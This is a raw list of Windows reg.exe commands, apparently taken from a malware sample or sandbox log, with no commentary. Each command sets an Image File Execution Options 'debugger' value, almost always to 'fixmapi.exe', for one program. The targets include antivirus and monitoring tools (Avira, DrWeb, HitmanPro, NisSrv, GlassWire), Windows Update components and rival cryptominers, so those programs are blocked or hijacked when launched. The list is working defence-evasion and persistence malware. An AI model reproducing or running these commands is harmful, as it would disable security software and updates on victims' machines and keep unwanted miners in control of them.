'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ServiceApp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogons.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wasub.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Windows10UpgraderApp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nssm.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmvp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuaudt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\expmon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdts.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\apgr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\surfblock.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winmhjqkn.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brutb.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cgminer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmefsh.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinPatrol.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmefss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmsh.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\secscan.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ForServiceApp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SombraLock.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\indexer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Terms.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsynchost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ClearLock.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Intelme.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchoct.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smsss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mineos.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSSysCtl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AES.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Drop Box Update.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rebel Botnet.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prkiller.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vnchosts.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeCP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\storectrl.dll" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer-aes-sse42.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows nt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xDedicLogCleaner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Tasksmgrs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kryptex7.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kryptex.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmr-stak.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbox.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemIDLE.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Trjscan.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\System Idle Process.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xngiesa.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mssm-xsc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccminer-x64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTservice.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTgui.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTcli.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SCTCleanupService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\starter_avp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Client Server Runtime Procces.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\miner65.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmr-stak-cpu.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svch0st.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HitmanPro x64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hpssmhd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX_AES.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\esif.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccsce.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reminder.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wahiver.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wahiver64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wasp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\waspwing.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USBSRService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wizard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\debugger" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fixmapi.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SearchProtocolHos.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qpis.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devencl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iddlen.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msapp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscce.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\praetorian.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\seth.exe" /v "debugger" /t REG_SZ /d "drmsvc.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\boost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsmon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TIASPN~1.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlog.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrssas.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASP.NET.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GWCtlSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GWIdlMon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GlassWire.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HS_Svc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcLi.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SQLSystem.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winpoint.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Avira.Systray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd_dp_com.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd_cp_fr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sys32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winhost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nusb3mon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zlclient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Javagroup.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\op_mon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Avira.ServiceHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mscvin.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate-cli.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spywareblaster.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsb.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OOSU10.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windir.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_cp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Interl thesaurus service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VC90.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CrashService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-active.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mouse Lock_v22.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TpmInit.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Windows10Upgrade.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EOSNotify.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsmosee.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauclt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysdown.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsproflt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svhosr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer-sse42.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DrWeb.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinHide.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvnc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\payload.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpnet.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
